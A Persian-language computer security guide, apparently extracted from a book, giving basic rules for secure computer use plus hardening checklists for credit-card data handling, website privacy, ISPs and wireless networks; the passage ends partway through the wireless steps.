  تر چهار گام آسان براي رايانة امن
 مستلزم تلاش بسيار زيادي      اندازي يك رايانه بصورت امن      راه

چنانچه شما براي ارزيابي مخـاطرات و تحليـل سـود و            . است
كم چهار مرحلـة  كنيم دست زيان وقت كافي نداريد توصيه مي   

  :سادة زير را دنبال كنيد

 كنيد كـه امنيـت بـراي ادارة شـما           مشخص .۱
 اگـر فكـر   .اي از اهميـت اسـت     واجد چه درجه  

كنيد كه امنيت از اهميت بالايي برخـوردار اسـت و             مي
 دچار خـسارتهاي زيـادي       درصورت وقوع رخداد امنيتي   

، پرداختن به امنيت بايـد از اولويـت كـافي             خواهيد شد 
ت اگر براي جلوگيري از بـروز مـشكلا       . برخوردار باشد 

نويس پركـار كـه هـيچ آمـوزش           امنيتي، از يك برنامه   
وقـت كنيـد،    رسمي در زمينة امنيت نديده استفادة پاره      

  .ايدبدون شك به استقبال مشكلات امنيتي رفته

كاربران خود را آموزش و در تـدوين روالهـا           .۲
 آيـا كـاربران ادارة شـما از مخـاطرات           .دخالت دهيد 

لكردهـايي از نظـر     و اينكـه چـه عم     (ناشي از ضعف امنيتـي      
آگاهي دارنـد؟ كـاربران درصـورت       ) امنيتي ضعيف هستند  

مشاهدة يك مورد غيرعادي يا مشكوك بايد بدانند كه         
تهية يك برنامة   . چه كنند و با چه كسي تماس بگيرند       
توانـد آنهـا را بـه         آموزشي مناسب بـراي كـاربران مـي       

ناآگـاه  . قسمتي از سيـستم تـدافعي شـما تبـديل كنـد           
 كاربران نـسبت بـه محـدوديتها و عملكـرد           نگهداشتن

؛ چراكه همـواره      گردد  سيستم باعث افزايش امنيت نمي    
منابع اطلاعاتي ديگـري وجـود دارد كـه در دسـترس            

 .مهاجمان مصمم باشد

هاي پشتيبان يـك      براي تهيه و ذخيرة نسخه     .۳
 بايـد خـارج از محـل        .طرح مشروح تدوين كنيد   

اشـته باشـيد تـا      هـاي پـشتيباني د      ادارة خود نيز نسخه   
درصورت بروز فجايع جدي هم بتوانيد سيستم خـود را          

  .مجدداً بازسازي كنيد

 چنانچه اتفاقي افتاد كـه      .شكاك و كنجكاو باشيد    .۴
نمود، به وجود مهاجم شك كنيد        به نظر غيرمعمول مي   

معمـولاً در خواهيـد     . و در آن مورد به بررسي بپردازيد      
اشـكال در   يافت كه مشكل از يك اشـتباه و يـا يـك             

اما برخـي مواقـع     . روش استفاده از آن منبع بوده است      
به همـين  . تري پيدا شود هم ممكن است مشكل جدي  

دهد كه قادر بـه حلاجـي       اي رخ مي  دليل هرگاه مسئله  
دقيق آن نيستيد بايد نسبت به امنيتـي بـودن مـشكل            

 .مظنون شويد و آنرا مورد بررسي دقيق قرار دهيد

  ص ديگربيست و پنج قاعدة خا
  تر از رايانهبراي استفاده ايمن

ــه   . ۱ قاعدة ــرقت رايان ــوع س ــيش از وق ــورد آن  پ اي در م
  .بيانديشيد

پشتيبان تهيـه كنيـد و مطمـئن          بطور منظم نسخة   . ۲ قاعدة
شويد كه درصورت تهديد فيزيكي رايانه، بـه آنهـا          

  .شود و قابل استفاده خواهند بود آسيبي وارد نمي

ــه . ۳ قاعدة ــور را بگون ــهرمزهــاي عب ــد ك  اي انتخــاب كني
بسادگي بتوانيد آنها را به يـاد بياوريـد امـا حـدس             

  .زدن آن براي افراد ديگر مشكل باشد

افزارهاي كليدي خود را همواره       عامل و نرم    سيستم . ۴ قاعدة
  .روز نگهداريدبه

اي  برنامــة پــست الكترونيكــي خــود را بگونــه     . ۵ قاعدة
 را بــصورت ١٩٦هــاضــميمهپيكربنــدي كنيــد كــه 

  . باز نكند خودكار 

نوع ضميمة نامة الكترونيكي،    قبل از باز كردن هر       . ۶ قاعدة
به نام آن دقت كنيد تـا مطمـئن شـويد كـه يـك               

  .برنامة اجرايي نيست
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اي را كه از يك غريبه دريافت         به هيچوجه ضميمه   . ۷ قاعدة
ايد باز نكنيد، مگر اينكه مطمئن باشيد فايـل           كرده

  . برنامة مخرب باشدتواند حاوي قطعه مربوطه نمي

د آشـنا و    اي كه از طرف يك فر       از گشودن ضميمه   . ۸ قاعدة
مطمئن فرستاده شده هم پرهيز كنيد، مگـر آنكـه          

  .مطمئن باشيد كه آگاهانه ارسال شده است

برنامة پست الكترونيكي خود را طوري تنظيم كنيد         . ۹ قاعدة
 را پـردازش    HTML١٩٧هاي تفنني   برنامهقطعهكه  

  .نكند و براي ديگران هم ارسال ننمايد

را هاي الكترونيكي      خود بپرسيد كه آيا نامه     ISPاز   . ۱۰ قاعدة
پــيش از تحويــل بــه شــما از نظــر ويــروس و يــا 

  .كند يا نهتهديدهاي مشابه بررسي مي

 و اجـراي    downloadهاي وب امكـان       به پايگاه  . ۱۱ قاعدة
هايي كه ممكـن اسـت مشكلـساز باشـند را             برنامه

ندهيد، مگر اينكه مطمئن باشـيد پايگـاه مربوطـه          
  . قابل اعتماد است

و كنيـد     نمايش آدرس پايگاه وبـي كـه مـرور مـي           . ۱۲ قاعدة
آدرسي كه درحال اتصال بـه آن هـستيد را فعـال            

  همچنـين هنگـام مـرور پايگاههـاي ناآشـنا         . كنيد
بسيار مراقب باشيد، خـصوصاً اگـر بـه آنهـا اجـازة          

  .دهيد اجراي برنامه روي رايانة خود را مي

 در   ها تحت چه شرايطي   cookieبررسي كنيد كه     . ۱۳ قاعدة
نهـا  اگر قادر به كنترل آ    .  شوندرايانة شما ذخيره مي   

اي در اماكن عمومي استفاده     مثل زمانيكه از رايانه   (نيستيد  
، مراقب باشيد كه اطلاعات خصوصي خود         )كنيد  مي

  .را وارد سيستم نكنيد

اي   چنانچه هرگونه اطلاعات خصوصي و محرمانـه       . ۱۴ قاعدة
روي صفحة وب به نمايش در آمد، پـس از اتمـام            

اگـر قـادر بـه      .  را پـاك كنيـد     ١٩٨حافظة نهان كار،  
اي در اماكن عمـومي     مثل زمانيكه از رايانه   (نيستيد  اينكار  

شـايد بهتــر باشـد از انجـام كــار    ) كنيـد  اسـتفاده مـي  
  .ها بپرهيزيد خصوصي خود روي آن رايانه
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، آنـرا     كنيـد    اسـتفاده نمـي    ١٩٩اشتراك فايـل  اگر از    . ۱۵ قاعدة
ــد اگــر از اشــتراك فايــل اســتفاده  . غيرفعــال كني

ــي ــور    م ــاي عب ــاربري و رمزه ــاي ك ــد، نامه كني
كم برگزينيـد و مجوزهـاي دسترسـي را تـا           مستح

حداقل ممكن كه همچنان امكان انجام كار مـورد         
  .دهد محدود نماييدنظر را به شما مي

،   ايد  اگر با كاربران ديگري فايل به اشتراك گذاشته        . ۱۶ قاعدة
اطمينان حاصل كنيد كه آنها نيز نكـات امنيتـي را           

  .گيرندجدي مي

و مفيـد   تواننـد بـسيار كارآمـد         پيامهاي فوري مـي    . ۱۷ قاعدة
باشند، ولي آنها را با مراقبت و آگاهي مورد استفاده       

 .قرار دهيد

براي انجام كارهـايي كـه بـه دسترسـي راهبـري             . ۱۸ قاعدة
 حتـي   - مثل مرور پايگاههاي وب      -نيازي ندارند   

كاربره نيز به هيچوجه از حـساب       هاي تك در رايانه 
  .كاربري راهبر استفاده نكنيد

 نيـستند يـا   تمام خدمات اينترنتـي كـه مـورد نيـاز      . ۱۹ قاعدة
  .كاربرد زيادي ندارند را غيرفعال كنيد

پذير است    اي كه نسبت به ويروس آسيب       هر رايانه  . ۲۰ قاعدة
افـزار ضـدويروس مجهـز كنيـد و بـراي             را به نرم  

دريافت نشانهاي جديد ويروس نيز بصورت روزانه       
اي   همچنـين بايـد بـصورت دوره      . روز نماييد آنرا به 

 ويـروس،   تمام فايلهاي دسـتگاه را از نظـر وجـود         
  .بررسي كنيد

هايي كـه بطـور خـاص تحـت           حتي در مورد رايانه    . ۲۱ قاعدة
مثـل سيـستمهاي     -تهاجم ويروسها قـرار ندارنـد       

 نيز بايد اطمينان حاصل شود      -مبتني بر يونيكس    
هـاي ديگـر فرسـتاده      هايي كه از آنها به رايانه       نامه
باشند و براي گيرنده   شوند آلوده به ويروس نمي    مي

 .دخطري در بر ندارن

هاي آتـش     ها بايد با يكي از انواع ديواره        تمام رايانه  . ۲۲ قاعدة
مورد محافظت قـرار داشـته باشـند، چـه بـصورت            

افزاري روي همان رايانه و چـه بـصورت يـك             نرم
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ديــوارة آتــش جداگانــه بــراي محافظــت از تمــام  
  .هاي موجود در يك شبكه رايانه

اگر براي كنترل يك رايانه از ابزار دسترسـي از راه            . ۲۳ قاعدة
كنيد، مطمئن شويد كـه از امنيـت          تفاده مي دور اس 

در حالت حـداقلي، شناسـة      (مستحكمي برخوردار است    
تا مبـادا مهاجمـان نيـز از        ) كاربري و رمز عبورِ مناسب    

ابزارهاي مشابه براي دسترسي به سيستم اسـتفاده        
  .كنند

ــراي عملكردهــا و كاربردهــاي   . ۲۴ قاعدة ثبــت گزارشــات ب
ن اي ـ. سيستم بايـد بـصورت منطقـي فعـال باشـد          

گزارشات را طبق يك روال مشخص مورد بررسي        
 .قرار دهيد

هر از چندگاه تـدابير امنيتـي خـود را بـا روشـها و                . ۲۵ قاعدة
آزمونهاي مختلف مورد بازبيني قرار دهيد تا بتوانيد        
اشكالات احتمالي را پـيش از وقـوع سـانحه رفـع            

  .كنيد

  كننده از   فهرست شركتهاي استفاده
  تراكنشهاي كارتهاي اعتباري

  اگر رايانة شما متصل به شبكه نيست  )الف

هاي شركت بايد در محلي نگهداري شـوند    رايانه •
  .كه از نظر فيزيكي ايمن باشد

براي باز كردن قفـل رايانـه بايـد از رمـز عبـور                •
مستحكمي استفاده شـده باشـد و حـداقلِ افـراد           

 .ممكن بايد آنرا بدانند

كند كـه بتوانـد     دسترسي فيزيكي فرد را قادر مي      •
اي عبور را به سرقت ببرد؛ بنابراين امنيـت         رمزه

اگر به رايانه دسترسي    .  فيزيكي بسيار مهم است   
توانيـد آنـرا بـا يـك        فيزيكي داشـته باشـيد مـي      

اندازي مجدد    ديسك فلاپي يا ديسك فشرده راه     
كنيــد و بدينوســيله تمــام ســدهاي امنيتــي     

ــستم ــه   سي ــل و برنام ــاربردي  عام بجــز (هــاي ك
 .بزنيدرا دور ) رمزنگاري

ها بايـد در      جهت محدود كردن دسترسي به داده      •
. سطح فايلها از مكانيزمهاي امنيتي استفاده شود      

  ها كـار كننـد      تنها اشخاصي كه قرار است با داده      
اين مسئله براي   (بايد به آنها دسترسي داشته باشند       

 به ايـن معنـي اسـت كـه بايـد از             Windowsماشينهاي  
 )اييد استفاده نمNTFSسيستم فايل 

عاملهـا،    روز را روي سيـستم      هاي امنيتي به    وصله •
افزارهـاي كـاربردي      پايگاههاي داده، و تمام نرم    

دقت داشته باشيد كـه امـن كـردن         . اعمال كنيد 
ــستم  ــد سي ــهاي جدي ــانتر از   نگارش ــا آس عامله

 .تر استنگارشهاي قديمي

  افزارهاي ضـدويروس    در سيستمهاي خود از نرم     •
 . نيدياب استفاده ك و مهاجم

ــاي داده   • ــذاريِ فايله ــراي رمزگ ــاي  ب ايِ كارته
اعتباري بايد از الگوريتمهاي پيشرفتة رمزنگاري      

 .استفاده شود

 شـامل   ٢٠٠فايلهـاي مـوقتي   بايد مراقب بود كـه       •
درصورتيكه نيازي به   . اطلاعات رمزنشده نباشند  

تنها بايد از روي سيستم پاك شوند،       آنها نباشد نه  
ذف كرد كه ديگر قابل     بلكه بايد آنها را طوري ح     

 .بازيابي هم نباشند

تمام دسترسـيها بـه فايلهـاي حـساس بايـد در             •
فايلهاي گزارش ثبت شوند، و اين گزارشات بايد        
در فواصل زماني معين تحت بررسي قرار گيرنـد         
. تا مشكلات يا خطاههاي بـالقوه آشـكار گردنـد         

اين گزارشها بايد در دو فايل ثبتها نوشته شوند و          
اي كـه    دوم بايد در جايي غير از رايانـه        از نسخة 
شود نگهـداري    كاربردي روي آن اجرا مي       برنامة
 .كرد

همواره گروههاي پست الكترونيكيِ هـشدارهاي       •
ضعفي گزارش  امنيتي را بررسي كنيد تا اگر نقطه      

شد،   شده بود كه احياناً مربوط به سيستم شما مي        
 .سريعاً از آن مطلع شويد

، تمام احتياطهـاي ممكـن      درصورت وقوع حمله   •
 .براي كاهش مخاطره را مد نظر قرار دهيد
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 -اطمينان حاصل كنيـد كـه تمـامي كارمنـدان            •
 باور دارند كـه امنيـت       -مخصوصاً مديران ارشد    

 .براي سازمان بسيار اهميت دارد

هـاي كـارت اعتبـاري و           اگر اطلاعاتي مثل داده    •
هاي مـالي را از روي ديـسك سـخت            ديگر داده 
كنيد، مطمئن شويد كه آن داده ديگـر          حذف مي 

اين فرآيند  . به هيچوجه قابل بازيابي نخواهد بود     
چنانچـه  . فراتر از پاك كردن سادة فايلهـا اسـت        

ها را چطـور بـصورت كامـل از     دانيد كه داده   نمي
بين ببريد، براي انجام اينكار از افراد متخـصص         

 .كمك بگيريد

يـه  در فواصل منظم زمـاني نـسخة پـشتيبان ته          •
هايي كه حاوي اطلاعـات   كنيد و از ايمني نسخه    

 .كارت اعتباري هستند كسب اطمينان كنيد

بـه  " سياسـت حـريم خـصوصي     "با انتـشار يـك       •
هايي را ذخيـره و از        كاربران اعلام كنيد چه داده    

نماييـد، و   آن براي چـه منظـوري اسـتفاده مـي         
توانيد مي(دهيد  چگونه آنرا مورد محافظت قرار مي     

حفاظت را بصورت غيرمستقيم و مـبهم توضـيح    چگونگي  
 ).دهيد

اگر براي برداشت از كارتهـاي اعتبـاري، اعتبـار           •
كنيـد اطمينـان      آنها را بصورت برخط ارزيابي مي     

حاصل كنيد كه خط ارتبـاطيِ مـورد اسـتفاده از           
اگـر از يـك مـودم       . امنيت لازم برخوردار اسـت    

نماييـد، مطمـئن شـوين كـه امكـان        استفاده مي 
 .ري تماس از بيرون وجود نداردبرقرا

هاي كارت اعتباري را بـه   اگر سوابقي شامل داده    •
 بايد امنيت    رسانيد، از لحاظ فيزيكي نيز    چاپ مي 

آنها را تأمين كنيد و بلافاصله پس از اينكه ديگر        
مورد نياز نبودند آنها را با دستگاه كاغذخردكن از         

 .بين ببريد

 در زمينة امنيـت     روزاز منابع معتبر، چند كتاب به      •
تجارت الكترونيكي بخريد، آنها را مـورد مطالعـه      

. هايــشان را دنبــال كنيــدقــرار دهيــد، و توصــيه
ــشارات  ــركاانت ــي و ش ــي و ، ٢٠١اوريل ــان وايل ج
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 كتابهاي خوبي در    ٢٠٣مك گروهيل ، و   ٢٠٢پسران
. انـد  منتـشر كـرده    فناوري اطلاعـات  باب امنيت   

قيمت اين كتابها بسته بـه محـل زنـدگي شـما            
كن است متفاوت باشد، اما به هر حال خريـد          مم

گــذاري بــسيار و اســتفادة مــؤثر از آنهــا ســرمايه
 .آيدمفيدي به حساب مي

اگر لازم است كه رايانه از شبكة داخلي قابـل     )ب
  :دسترس باشد

تمام نكاتي كه در مورد قبلي گفته شـد، بعـلاوة            •
  :نكات زير

يك ديوارة آتش نصب كنيد تـا مطمـئن شـويد            •
تواننـد بـه    اربران و تراكنشهاي مجاز مـي     تنها ك 

ــه دسترســي داشــته باشــند و از دسترســي   رايان
 .عمومي به آن جلوگيري خواهد شد

روز را روي تمـام تجهيـزات   هاي امنيتي به  وصله •
) ...هـاي آتـش، سـوئيچها، و          مـسيريابها، ديـواره   (شبكه  

 .نصب كنيد

براي كلية پيامهاي مربوط به كارت اعتباري كـه    •
شوند از رمزگذاري اسـتفاده      منتقل مي  روي خط 

 .كنيد

ــبكه   • ــدمات ش ــة خ ــروري  هم ــل (اي غيرض مث
ــرويس ــدة  س ــابع از راه دور، Webدهن ــواني ت ، و ٢٠٤فراخ

 .را غيرفعال كنيد) ٢٠٥پروتكل انتقال فايل

اگر اطلاعات كارت اعتباري از طريـق شـبكة           ) ج
  :جهاني وب قابل دسترسي است

 شـد، بعـلاوة     تمام نكاتي كه در مورد قبلي گفته       •
  :نكات زير

ــاري را در     • ــارت اعتب ــه ك ــوط ب ــات مرب اطلاع
هايي كه از طريق اينترنت قابـل دسترسـي          رايانه

هـا را روي دسـتگاهي        داده. هستند قـرار ندهيـد    
ديگر و پشت ديوارة آتـش قـرار دهيـد و بـراي             
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204  Remote Procedure Call (RPC) 
205  File Transfer Protocol (FTP) 
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دسترسي به آن از فراخـواني تـابع از راه دور يـا             
 سيـستم   ساير روشهاي ارتباطي به همـراه يـك       

ساز خوب در سطح ديـوارة آتـش اسـتفاده          غربال
 .كنيد

تمام تراكنـشهاي روي شـبكه را بـا اسـتفاده از             •
درصـورت امكـان بـا      (قويترين الگوريتمهاي موجود    

 .رمزگذاري نماييد)  بيتي۱۲۸كليد 

اطمينــان حاصــل كنيــد كــه اطلاعــات كــارت   •
دهندة وب ذخيـره      اعتباري كه موقتاً در سرويس    

فاصله پس از اتمام تراكنش پـاك         شده است، بلا  
 .شودمي

اگر اطلاعات كارت اعتباري حتمـاً بايـد روي           )د
   :رايانة قابل دسترسي از اينترنت قرار بگيرد

تمامي موارد بالا را اعمال كنيد، اما با هوشـياري      •
آن رايانـه،   . بيشتري نسبت به مخاطرات امنيتـي     

تراكنشهاي آن، و گزارشـهاي فعاليتهـا بايـد بـه           
  .دقت تحت نظارت دائمي باشند

  فهرست كنترل
  هاي مشتري در پايگاه وب حفاظت از داده

در اينجا يك روش ساده اما قابل اجرا ذكر شده كـه آنـرا بـه                
دهنـد    پايگاههاي وبي كه به حريم خصوصي افراد اهميت مي        

در صـفحة اول پايگـاه وب خـود در مـورد            . كنيمپيشنهاد مي 
 خصوصي به افراد توضيح دهيد، و       سياستهايتان در قبال حريم   

اگر نقطة ابهامي در مورد سياستهايتان وجود دارد اجازه دهيـد           
شركتتان توسط مميزهايي از خارج شركت مورد بازبيني قـرار          

  .گيرد

  جهــت اســتفاده از پايگــاه وب، اشــخاص را ملــزم بــه  •
  .نام و ورود اطلاعات اضافي نكنيدثبت

ت بولتن هستند، اجـازه     مند به درياف    اگر كاربران علاقه   •
ــست      ــا از آدرس پ ــام تنه ــت ن ــراي ثب ــه ب ــد ك دهي

 .الكترونيكي خود استفاده كنند

بدون اجازة صريح كـاربر، آدرس پـست الكترونيكـي و      •
اطلاعات شخـصي كـاربران را در اختيـار سـازمانهاي           

 .ديگر نگذاريد

كنيـد، بـه آنهـا        اي براي افـراد ارسـال مـي         هرگاه نامه  •
س پستي آنهـا را چگونـه بدسـت         توضيح دهيد كه آدر   

تواننــد آدرس خــود را از  ايــد و آنهــا چگونــه مــي آورده
 . هاي شما حذف كنندكنندگان نامهفهرست دريافت

 و   فايلهاي ثبت خود را در دسترس عموم قـرار ندهيـد           •
 . درصورت امكان آنها را رمزگذاري كنيد

، آنهـا را      زمانيكه ديگر نيازي به فايلهـاي ثبـت نداريـد          •
 . ك كنيدپا

اگر لازم است فايلهـاي ثبـت بـراي مـدت زيـادي از               •
، اطلاعـاتي كـه       طريق اينترنت قابل دسترسـي باشـند      

شـود را از روي آن حـذف        باعث شناسايي اشخاص مي   
 .كنيد

ناقضان سياست حريم خـصوصي را تأديـب يـا اخـراج             •
  .نماييد

  هاISPفهرست كنترل 

 اسـتفاده   هـا   ISPاين فهرست نسبت به آنچه كه بـسياري از          
تـر اسـت، امـا بـسيار اهميـت دارد كـه همـة               كنند مفصل   مي

اي دربـارة     ها مورد بررسي قرار گيرند و تصميم عاقلانـه          گزينه
  .سازي آنها اتخاذ گردد پياده

از آنجا كه گاهي اطلاعـات كـارت اعتبـاري يـا سـاير               •
كنيد، تمام قـوانين    اطلاعات مالي مشتري را ذخيره مي     

  . اعتباري بايد اعمال شوندهايسازي دادهذخيره

. اي نيست ضابطه يا كليشه    تأمين امنيت يك فرآيند بي     •
موضوعات مختلف را درك كنيد و براي هريك طرحي         

 .كلي بريزيد

ميـزان تعهـد    : يك سياست امنيتي تدوين كنيد شـامل       •
شما به محرمانـه مانـدن اطلاعـات حـريم خـصوصي            

ازمانهاي در مقابل دسترسـي كارمنـدان خـود يـا س ـ          (مشتريان  
دهي هنگام وقوع يك حملـة      ؛ و روندهاي گزارش   )ديگر
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هـا، و نيـز    ISPگزارش به عوامل داخلـي سـازمان، بـه          (امنيتي  
 ) مقامات مسئول

آيـا تنهـا    (مسئوليتهاي قانوني خـود را شناسـايي كنيـد           •
مسئوليت حفظ اطلاعات با شماست، فايلهاي ثبت را تا چه مدت            

 )....بايد نگهداري كنيد، و 

استهايي تدوين كنيد در خصوص چگونگي واكـنش        سي •
هـاي  ISPبه هشدارهاي امنيتي، نگرانيهاي مشتريان،      

دهندگان عمدة پهناي باند، و ساير كـاربران          همتا، ارائه 
 . اينترنت

آگاه باشيد كه ممكن است مشتريان خدمات شـما بـه            •
توانيــد بــراي  مــي. سيــستمهاي بيرونــي حملــه كننــد

ها مبني بـر دسـت      ISPير  پاسخگويي به گزارشات سا   
داشتن مشتريان شما در حملات، يك سياست تـدوين         

 .نماييد

ياب افزارهاي ويروس  از نرم  ISPدرصورتيكه در سطح     •
كنيد، ممكن اسـت تـصميم بگيريـد بـراي          استفاده مي 

عـدم  "هاي آلوده هـشدارهايي مبنـي بـر         فرستندة نامه 
 .ارسال كنيد" انتقال نامه بدليل آلودگي به ويروس

 تدوين كنيـد كـه      ٢٠٦)AUP(سياست كاربرد مجاز    يك   •
ايـن  .   و مـشتريان باشـد     ISPشامل وظـايف متقابـل      

سياست بايد در تمام قراردادهاي مشتري مـورد اشـاره          
 .قرار گيرد

اي طراحـي كنيـد كـه تـا حـد امكـان         شبكه را بگونـه    •
سيستمهايي كه شبكة شـما را      .  كاربردي و عملي باشد   

از جمله سيـستم ميزبـان حـسابهاي        (كنند    كنترل و اداره مي   
بايد بوسيلة ديوارة آتش از اينترنت مجزا شـده       ) كـاربري 
 .باشند

هـاي بخـش    اطمينان پيدا كنيد كه براي تمـام رايانـه         •
هـاي پـست    دهنـده مثـل سـرويس   (مديريت، بخش خدمات    

و تمــام ) DNS و Proxy، تــصديق هويــت،  ، وب الكترونيكــي
 از رمزهـاي عبـور      تجهيزات مسيريابي و كنترلي شبكه    

مــستحكم و قــوانين دسترســي محدودشــده اســتفاده  
 .كنيد مي

                                                                  
206  Acceptable Use Policy 

مثـل  (اطمينان يابيـد كـه همـة خـدمات غيرضـروري             •
finger  ،icq ،ftp  روي دستگاههاي قابـل  ) ...، كامپايلرهـا و

 .انداتصال به اينترنت، غيرفعال شده

 خـصوصاً آنهـايي     -مطمئن شويد كه همة دسـتگاهها        •
 بــا اعمــال -اينترنــت هــستند كــه قابــل اتــصال بــه 

 .شوند روز نگهداشته ميهاي امنيتي به وصله

يك سيستم كنترل مداوم شبكه ايجاد كنيد تـا بتوانيـد       •
ــرويس و     ــب س ــلات تخري ــل حم ــشكلاتي از قبي م

هـا را تـشخيص     فعاليتهاي عمدة ويروسـها و هرزنامـه      
اين نيازمند آن است كـه قـادر باشـيد الگوهـاي      .  دهيد

 .شبكة خود را درك كنيدطبيعي ترافيك 

ها قابليت كنترل ايجاد كنيد تا بهتر بتوانيـد           براي رايانه  •
ماشينهاي ميزبان فايلهاي ثبت (مهاجمان را تشخيص دهيد     

 ).و اطلاعات حسابهاي كاربري را فراموش نكنيد

ها را در هر جايي كه ورود يا خروج پـست             ياب  ويروس •
 .گيرد نصب كنيد الكترونيكي صورت مي

قيمت، مـشتريان  هيه ضدويروسهاي رايگان يا ارزان  با ت  •
 .خود را ترغيب كنيد كه دستگاه خود را ايمن سازند

دهندة پست الكترونيكـي بـه        مراقب باشيد كه سرويس    •
 .كنندة هرزنامه تبديل نشوديك توزيع

 .مكانيزمهاي كنترل هرزنامه را نصب كنيد •

ع ها و برقراري و قط ـ      دهنده  كلية دسترسيها به سرويس    •
اتصال به شبكه را ثبت كنيـد تـا توانـايي خـود بـراي               

آوري مدارك قانوني عليـه نفـوذگران را افـزايش          جمع
 .داده باشيد

از روالهاي تهية پشتيبان از اطلاعات خـود و كـاربران            •
 .اي سختگيرانه و همپوشان ايجاد كنيد مجموعه

 و از طريـــق downloadهـــاي امنيتـــي را  وصـــله •
. كة توزيع محلي، توزيع كنيد    ديسكهاي فشرده و يا شب    

روز بودن و تأمين امنيـت را       با اينكار علاوه بر اينكه به     
ايد، پهنـاي بانـد مـصرفي       براي مشتريان تسهيل كرده   

 .ايدخود را نيز كاهش داده
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  WLANسازي  شانزده گام براي ايمن
سيم بسيار شبيه امنيت فيزيكـي درب ورودي          امنيت شبكة بي  

كسي با انگيزه، بودجه، منابع، و زمان       هر  :  يك ساختمان است  
سيم بايد مثـل      با شبكة بي  . دار كند كافي قادر است آنرا خدشه    

. يك شبكة همگاني و قابل دسترس براي عمـوم رفتـار كـرد            
هاي انتقالي  راهبر سيستم به هيچوجه نبايد تصور كند كه داده        

هاي ايمنـي زيـر    توصيه. سيم، خصوصي و امن است     شبكة بي 
هاي پيشگامان اين صنعت    فته از پيشنهادات و توصيه    كه برگر 

اي بـراي ايجـاد يـك زيرسـاخت جهـت             است، نكـات سـاده    
  :دهدسيم ارائه مي سازي شبكة بي ايمن

سـيم    يك راهكار در سطح سازمان براي ابزارهاي بـي         .۱
هاي امنيت سـازمان و     مشيسياستها و خط  . تهيه كنيد 

 بـا يكـديگر     استفاده از شبكه را طوري تنظيم كنيد كه       
  .سازگار باشند

بررسي كنيـد كـه چنـد نفـر از كارمنـدان در منـزل از                 .۲
WLAN   ايـن كـاربران راه     . نمايند سازمان استفاده مي

دور بايد تحت نظارت باشـند تـا بتـوان نقـاط تمـاس               
 .غيرمجاز به شبكه را مسدود كرد

براي مديريت حسابهاي كـاربري، يـك فرآينـد تهيـه            .۳
 .ن آنها را مديريت كردكنيد تا بتوان بصورت ام

هـا و     دهنـده   خدمات غيرضروري را روي تمام سرويس      .۴
اصولاً كليـة خـدمات     . ها غيرفعال كنيد    گيرنده  سرويس

 .استفاده بايد غيرفعال باشند ناشناخته يا بي

.  فرض محصولات خـود را تغييـر دهيـد          تنظيمات پيش  .۵
شـوند كـه      بسياري از راهبران مرتكب اين اشـتباه مـي        

 نقــاط دسترســي را از IP يــا آدرس SSIDاطلاعــات 
 را طوري تغيير    SSID. دهندمقدار اولية آنها تغيير نمي    

ــام  ــه ن ــد ك ، بخــشها، و محــصولات شــركت را   ندهي
 SSIDدر غيراينـصورت از آنجــا كــه  . مـشخص كنــد 

شـود، بـه      بوسيلة نقطة دسترسي اعـلان عمـومي مـي        
 را بـشكند، براحتـي      WEPمحض اينكه نفوذگر كليد     

شود كه به شبكة چه كـسي دسترسـي پيـدا           ميمتوجه  
 .كرده است

فـرض نقطـة دسترسـي يـا مـسيرياب            رمز عبور پـيش    .۶
نفوذگران معمولاً رمزهاي عبـور     . سيم را تغيير دهيد     بي

داننـد و ابتـدا آنهـا را          فرض توليدكنندگان را مـي      پيش
 .دهندمورد آزمايش قرار مي

سـيم را حـداكثر بـه انـدازة وسـعت             پوشش شبكة بـي    .۷
همينطـور كـه    . اختمان خود تنظيم كنيد و نه بيـشتر       س

ادارة خود را براي يافتن محلي مناسب جهـت اسـتقرار           
كنيد، درنظر داشته باشـيد كـه       نقطة تماس بررسي مي   

محل آنرا در جايي متمايل به مركز ساختمان برگزينيد؛      
ها قرار دهيد ممكن است       چراكه اگر آنرا نزديك پنجره    

 خارج از ساختمان تشعشع يابند      سيگنالهاي قويتري به  
 .و درنتيجه ديگران شبكة شما را آسانتر پيدا كنند

. سيم، آنتنهاي جهتـدار تهيـه كنيـد         براي بخشهاي بي   .۸
ســيم از آنتنهــاي چنــدجهتي  بيــشتر دســتگاههاي بــي

چنـين آنتنهـايي بـه مهـاجم امكـان          . كننداستفاده مي 
ه اين درحالي است ك ـ   . دهندضبط كلية ارتباطات را مي    

 گيگـاهرتز   ۲،۴آنتنهاي جهتدار اگر در فركانسي حدود       
يا بالاتر كار كنند، گسترة انتشار سيگنال بـسيار كمتـر           

 .خواهد بود

۹. WEP   فـرض    براي اينكـار كليـد پـيش      .  را فعال كنيد
WEP را تغييــر دهيــد و بعــد از آن بــصورت هفتگــي 

 ٢٠٧.اينكار را تكرار نماييد

 VPN تونـل  سـيم، از   ميان ديوارة آتـش و شـبكة بـي         .۱۰
انــدازي  اگرچــه ايــن امــر مــستلزم راه. اســتفاده كنيــد

باشـد، امـا در طـرف ديگـر،          مي VPNدهنده    سرويس
عاملها    در بيشتر سيستم   VPNگيرندة    افزار سرويس   نرم

، و Windows 98 SE ،Windows 2000مثـل  
Windows XPتعبيه شده است . 

ياب مبتني بـر      سيم، يك سيستم مهاجم   روي شبكة بي   .۱۱
 ٢٠٩. تعبيه كنيد٢٠٨)NIDS(ه شبك

افزارهـاي ضـدويروس را روي        در سطح سـازمان، نـرم      .۱۲
 .سيم نصب كنيد هاي بي گيرنده تمام سرويس

                                                                  
  NIPC: منبع   ۲۰۷

http://www.nipc.gov/publications/nipcpub/best
pract.html 

208  Network Based Intrusion Detection System 
 CERT، تحليلگر Chris Bateman: منبع   ۲۰۹
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 اسـتفاده كنيـد،     ٢١٠تصديق هويت دوعاملي  از مكانيزم    .۱۳
دو . دهد چراكه درصد زيادي از مخاطرات را كاهش مي  

روش براي استفاده از تصديق هويت دوعـاملي وجـود          
كارتهاي هوشمند مبتني بر    "استفاده از   روش اول   .  دارد
اسـت كـه اطلاعـات زيـستي افـراد را در خـود            " نشانه

ــي  ــره مــ ــدذخيــ ــتفاده از ٢١١.كننــ  روش دوم اســ
 است كـه رايانـه را       RADIUS٢١٢هاي    دهنده  سرويس

كنند و ارتبـاط شـما بـا        براي شبكه تصديق هويت مي    
كاربر صرفاً بمنظور   . سازندنقطة تماس را نيز برقرار مي     

هــا بــه  دهنــده ديق هويــت بــراي ســاير ســرويستــص
در حقيقت  . شود   متصل مي  RADIUSدهندة  سرويس

 مثـل   RADIUSهـاي   دهنـده   در اين روش سـرويس    
 ٢١٣.كنند نگهبان يك سالن، عبور و مرور را كنترل مي

 استفاده  gatewayسيم بعنوان     از يك ديوارة آتش بي     .۱۴
